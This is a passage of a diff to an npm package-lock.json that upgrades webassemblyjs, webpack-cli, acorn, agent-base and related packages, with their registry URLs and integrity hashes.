"sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==", - "dev": true - }, "@types/pbkdf2": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@types/pbkdf2/-/pbkdf2-3.1.0.tgz", @@ -21177,20 +18560,6 @@ "@types/node": "*" } }, - "@types/prettier": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.0.tgz", - "integrity": "sha512-RI1L7N4JnW5gQw2spvL7Sllfuf1SaHdrZpCHiBlCXjIlufi1SMNnbu2teze3/QE67Fg2tBlH7W+mi4hVNk4p0A==", - "dev": true - }, - "@types/responselike": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", - "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", - "requires": { - "@types/node": "*" - } - }, "@types/secp256k1": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/@types/secp256k1/-/secp256k1-4.0.3.tgz", @@ -21200,21 +18569,29 @@ } }, "@types/stack-utils": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz", - "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==", + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", + "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==", "dev": true }, "@types/tough-cookie": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.2.tgz", - "integrity": "sha512-Q5vtl1W5ue16D+nIaW8JWebSSraJVlK+EthKn7e7UcD4KWsaSJ8BqGPXNaPghgtcn/fhvrN17Tv8ksUsQpiplw==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.5.tgz", + "integrity": "sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==", "dev": true }, + "@types/ws": { + "version": "8.5.3", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.3.tgz", + "integrity": "sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w==", + "requires": { + "@types/node": "*" + } + }, "@types/yargs": { - "version": "17.0.11", - "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.11.tgz", - "integrity": "sha512-aB4y9UDUXTSMxmM4MH+YnuR0g5Cph3FLQBoWoMB21DSvFVAxRVEHEMx3TLh+zUZYMCQtKiqazz0Q4Rre31f/OA==", + "version": "17.0.33", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.33.tgz", + "integrity": "sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==", "dev": true, "requires": { "@types/yargs-parser": "*" @@ -21456,174 +18833,177 @@ } }, "@webassemblyjs/ast": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.1.tgz", - "integrity": "sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.14.1.tgz", + "integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==", "dev": true, "requires": { - "@webassemblyjs/helper-numbers": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1" + "@webassemblyjs/helper-numbers": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2" } }, "@webassemblyjs/floating-point-hex-parser": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz", - "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz", + "integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==", "dev": true }, "@webassemblyjs/helper-api-error": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz", - "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz", + "integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==", "dev": true }, "@webassemblyjs/helper-buffer": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz", - "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz", + "integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==", "dev": true }, "@webassemblyjs/helper-numbers": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz", - "integrity": "sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz", + "integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==", "dev": true, "requires": { - "@webassemblyjs/floating-point-hex-parser": "1.11.1", - "@webassemblyjs/helper-api-error": "1.11.1", + "@webassemblyjs/floating-point-hex-parser": "1.13.2", + "@webassemblyjs/helper-api-error": "1.13.2", "@xtuc/long": "4.2.2" } }, "@webassemblyjs/helper-wasm-bytecode": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz", - "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz", + "integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==", "dev": true }, "@webassemblyjs/helper-wasm-section": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz", - "integrity": "sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz", + "integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/wasm-gen": "1.14.1" } }, "@webassemblyjs/ieee754": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz", - "integrity": "sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz", + "integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==", "dev": true, "requires": { "@xtuc/ieee754": "^1.2.0" } }, "@webassemblyjs/leb128": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.1.tgz", - "integrity": "sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.13.2.tgz", + "integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==", "dev": true, "requires": { "@xtuc/long": "4.2.2" } }, "@webassemblyjs/utf8": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.1.tgz", - "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.13.2.tgz", + "integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==", "dev": true }, "@webassemblyjs/wasm-edit": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz", - "integrity": "sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz", + "integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/helper-wasm-section": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1", - "@webassemblyjs/wasm-opt": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1", - "@webassemblyjs/wast-printer": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/helper-wasm-section": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-opt": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1", + "@webassemblyjs/wast-printer": "1.14.1" } }, "@webassemblyjs/wasm-gen": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz", - "integrity": "sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz", + "integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/ieee754": "1.11.1", - "@webassemblyjs/leb128": "1.11.1", - "@webassemblyjs/utf8": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" } }, "@webassemblyjs/wasm-opt": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz", - "integrity": "sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz", + "integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1" } }, "@webassemblyjs/wasm-parser": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz", - "integrity": "sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz", + "integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-api-error": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/ieee754": "1.11.1", - "@webassemblyjs/leb128": "1.11.1", - "@webassemblyjs/utf8": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-api-error": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" } }, "@webassemblyjs/wast-printer": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz", - "integrity": "sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz", + "integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/ast": "1.14.1", "@xtuc/long": "4.2.2" } }, "@webpack-cli/configtest": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.2.0.tgz", - "integrity": "sha512-4FB8Tj6xyVkyqjj1OaTqCjXYULB9FMkqQ8yGrZjRDrYh0nOE+7Lhs45WioWQQMV+ceFlE368Ukhe6xdvJM9Egg==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-3.0.1.tgz", + "integrity": "sha512-u8d0pJ5YFgneF/GuvEiDA61Tf1VDomHHYMjv/wc9XzYj7nopltpG96nXN5dJRstxZhcNpV1g+nT6CydO7pHbjA==", "dev": true, "requires": {} }, "@webpack-cli/info": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.5.0.tgz", - "integrity": "sha512-e8tSXZpw2hPl2uMJY6fsMswaok5FdlGNRTktvFk2sD8RjH0hE2+XistawJx1vmKteh4NmGmNUrp+Tb2w+udPcQ==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-3.0.1.tgz", + "integrity": "sha512-coEmDzc2u/ffMvuW9aCjoRzNSPDl/XLuhPdlFRpT9tZHmJ/039az33CE7uH+8s0uL1j5ZNtfdv0HkfaKRBGJsQ==", "dev": true, - "requires": { - "envinfo": "^7.7.3" - } + "requires": {} }, "@webpack-cli/serve": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.7.0.tgz", - "integrity": "sha512-oxnCNGj88fL+xzV+dacXs44HcDwf1ovs3AuEzvP7mqXw7fQntqIhQ1BRmynh4qEKQSSSRSWVyXRjmTbZIX9V2Q==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-3.0.1.tgz", + "integrity": "sha512-sbgw03xQaCLiT6gcY/6u3qBDn01CWw/nbaXl3gTdTFuJJ75Gffv3E3DBpgvY2fkkrdS1fpjaXNOmJlnbtKauKg==", "dev": true, "requires": {} }, + "@xstate/fsm": { + "version": "1.6.5", + "resolved": "https://registry.npmjs.org/@xstate/fsm/-/fsm-1.6.5.tgz", + "integrity": "sha512-b5o1I6aLNeYlU/3CPlj/Z91ybk1gUsKT+5NAJI+2W4UjvS5KLG28K9v5UvNoFVjHV8PajVZ00RH3vnjyQO7ZAw==" + }, "@xtuc/ieee754": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", @@ -21636,24 +19016,11 @@ "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", "dev": true }, - "abab": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", - "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", - "dev": true - }, - "abbrev": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", - "dev": true, - "optional": true, - "peer": true - }, - "abortcontroller-polyfill": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/abortcontroller-polyfill/-/abortcontroller-polyfill-1.7.3.tgz", - "integrity": "sha512-zetDJxd89y3X99Kvo4qFx8GKlt6GsvN3UcRZHwU6iFA/0KiOmhkTVhe8oRoTBiTVPZu09x3vCra47+w8Yz1+2Q==" + "abitype": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/abitype/-/abitype-0.7.1.tgz", + "integrity": "sha512-VBkRHTDZf9Myaek/dO3yMmOzB/y2s3Zo6nVU7yaw1G+TvCHAjwaJzNGN9yo4K5D8bU/VZXKP1EJpRhFr862PlQ==", + "requires": {} }, "abstract-leveldown": { "version": "2.6.3", @@ -21663,39 +19030,12 @@ "xtend": "~4.0.0" } }, - "accepts": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", - "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", - "requires": { - "mime-types": "~2.1.34", - "negotiator": "0.6.3" - } - }, "acorn": { - "version": "8.8.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.0.tgz", - "integrity": "sha512-QOxyigPVrpZ2GXT+PFyZTl6TtOFc5egxHIP9IlQ+RbupQuX4RkT/Bee4/kQuC02Xkzg84JcT7oLYtDIQxp+v7w==", + "version": "8.15.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", "dev": true }, - "acorn-globals": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", - "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", - "dev": true, - "requires": { - "acorn": "^7.1.1", - "acorn-walk": "^7.1.1" - }, - "dependencies": { - "acorn": { - "version": "7.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", - "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", - "dev": true - } - } - }, "acorn-jsx": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", @@ -21703,50 +19043,16 @@ "dev": true, "requires": {} }, - "acorn-walk": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", - "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", - "dev": true - }, "aes-js": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/aes-js/-/aes-js-3.1.2.tgz", "integrity": "sha512-e5pEa2kBnBOgR4Y/p20pskXI74UEz7de8ZGVo58asOtvSVG5YAbJeELPZxOmt+Bnz3rX753YKhfIn4X4l1PPRQ==" }, "agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", - "dev": true, - "requires": { - "debug": "4" - } - }, - "agentkeepalive": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.2.0.tgz", - "integrity": "sha512-0PhAp58jZNw13UJv7NVdTGb0ZcghHUb3DrZ046JiiJY/BOaTTpbwdHq2VObPCBV8M2GPh7sgrJ3AQ8Ey468LJw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "debug": "^4.1.0", - "depd": "^1.1.2", - "humanize-ms": "^1.2.1" - } - }, - "aggregate-error": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", - "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "clean-stack": "^2.0.0", - "indent-string": "^4.0.0" - } + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "dev": true }, "ajv": { "version": "6.12.6", @@ -21828,26 +19134,6 @@ "picomatch": "^2.0.4" } }, - "aproba": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz", - "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==", - "dev": true, - "optional": true, - "peer": true - }, - "are-we-there-yet": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz", - "integrity": "sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "delegates": "^1.0.0", - "readable-stream": "^3.6.0" - } - }, "argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", @@ -21857,48 +19143,85 @@ "sprintf-js": "~1.0.2" } }, - "array-flatten": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + "array-buffer-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz", + "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==", + "dev": true, + "requires": { + "call-bound": "^1.0.3", + "is-array-buffer": "^3.0.5" + } }, "array-includes": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.4.tgz", - "integrity": "sha512-ZTNSQkmWumEbiHO2GF4GmWxYVTiQyJy2XOTa15sdQSrvKn7l+180egQMqlrMOUMCyLMD7pmyQe4mMDUT6Behrw==", + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz", + "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==", "dev": true, "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3", - "es-abstract": "^1.19.1", - "get-intrinsic": "^1.1.1", - "is-string": "^1.0.7" + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.0", + "es-object-atoms": "^1.1.1", + "get-intrinsic": "^1.3.0", + "is-string": "^1.1.1", + "math-intrinsics": "^1.1.0" } }, - "array-union": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", - "dev": true + "array.prototype.findlastindex": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz", + "integrity": "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-shim-unscopables": "^1.1.0" + } }, "array.prototype.flat": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.5.tgz", - "integrity": "sha512-KaYU+S+ndVqyUnignHftkwc58o3uVU1jzczILJ1tN2YaIZpFIKBiP/x/j97E5MVPsaCloPbqWLB/8qCTVvT2qg==", + "version": "1.3.3", + "resolved": 